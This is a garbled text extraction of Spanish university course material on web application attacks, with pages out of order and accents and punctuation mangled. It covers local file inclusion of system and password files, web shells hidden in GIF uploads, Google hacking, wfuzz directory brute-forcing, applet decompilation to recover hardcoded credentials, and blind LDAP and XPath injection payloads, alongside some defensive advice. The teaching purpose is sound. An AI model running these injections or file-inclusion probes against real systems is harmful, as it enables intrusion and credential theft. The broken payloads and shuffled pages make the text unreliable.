Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
